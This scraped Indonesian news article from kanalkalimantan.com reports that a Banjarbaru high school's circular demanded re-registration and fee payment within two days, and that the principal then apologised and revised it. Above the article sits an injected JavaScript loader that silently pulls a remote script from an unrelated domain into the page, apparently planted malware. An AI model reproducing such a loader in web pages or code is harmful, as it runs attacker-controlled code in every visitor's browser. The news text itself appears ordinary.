(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Surat edaran yang dikeluarkan pihak SMA Negeri 4 Banjarbaru, Rabu (15/7/20202) sontak membuat orangtua siswa kaget. Surat itu berisi pemberitahuan kepada siswa kelas sebelas (XI) dan dua belas (XII) untuk melakukan pendaftaran ulang.
Persoalannya, dalam isi surat tersebut pihak sekolah mengumumkan bahwa salah satu syarat pendaftaran ulang sekaligus untuk mengambil rapor semester, yakni wajib melunasi iuran komite sekolah pada Juni 2020.
Siswa diberi jangka waktu untuk melakukan daftar ulang, hanya dalam tempo dua hari, terhitung pada Kamis (16/7/2020) hingga Jumat (17/7/2020).
Mengejutkan lagi, dalam isi terakhir surat tersebut, pihak sekolah menyatakan apabila siswa tidak mendaftar ulang pada batas waktu yang telah ditentukan, maka akan dianggap mengundurkan diri.
Baca juga:
Hal ini jelas sangat memberatkan bagi para orangtua siswa, terkhusus mereka yang kondisi ekonominya tergolong rendah. Apalagi, anak-anak mereka juga terancam putus pendidikan jika terlambat untuk melakukan daftar ulang.
Saat kanalkalimantan.com menghubungi dan mengonfirmasikan hal itu, Kepala SMAN 4 Banjarbaru, Dra Sumini, melalui telepon secara blak-blakan mengklaim bahwa pemberitahuan daftar ulang yang tertera di surat edaran tersebut memang salah.
“Saya minta maaf atas beredarnya surat pemberitahuan daftar ulang itu. Ini murni kesalahan redaksi dari pihak kami. Saat ini saya sedang melakukan revisi terhadap isi surat edaran tersebut,” tutur dia.
Dijelaskan Sumini, pihaknya akan menghapus kebijakan tentang kewajiban daftar ulang bagi para siswa kelas XI dan XII. Ia mengungkapkan, bahwa surat edaran yang baru hanya berisi pemberitahuan tentang pengambilan rapor.
“Kami juga akan mengatur ulang jadwalnya. Intinya tidak ada daftar ulang. Hanya pengambilan rapor,” tegas dia.
Lantas, bagaimana dengan syarat wajib melunasi iuran komite sekolah di Juni ini? Mengingat pada tahun ini untuk setiap siswa diwajibkan membayar iuran komite sekolah sebesar Rp 100 ribu per bulan, Sumini mengungkapkan bahwa pihaknya akan memberi keringanan bagi orangtua siswa yang terkendala ekonomi.
Sebab, pihaknya memang telah banyak mendapatkan laporan keluhan dari para orangtua siswa atas kebijakan ini.
Baca juga:
“Kami akan beri keringanan kepada orangtua siswa dengan melihat kondisi ekonomi mereka. Sekali lagi kami meminta maaf atas beredarnya surat pemberitahun daftar ulang ini,” katanya.
Meski demikian, lanjut dia, bagi para siswa XI dan XII yang nantinya ingin mengambil raport masih harus diwajibkan memiliki kartu bebas perpustakaan atau tidak memiliki tanggungan perpustakaan. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru menggelar bimbingan teknis Sistem Informasi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Persiapan pencalonan bakal pasangam calon (Paslon) melalui jalur dukungan perseorangan telah dibuka… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Timur menangkap seorang lelaki inisial AH (48) karena… Read More
KANALKALIMANTAN.COM, AMUNTAI - Obyek wisata situs Candi Agung Amuntai kerap dikunjungi wisatawan dari dalam maupun… Read More
This website uses cookies.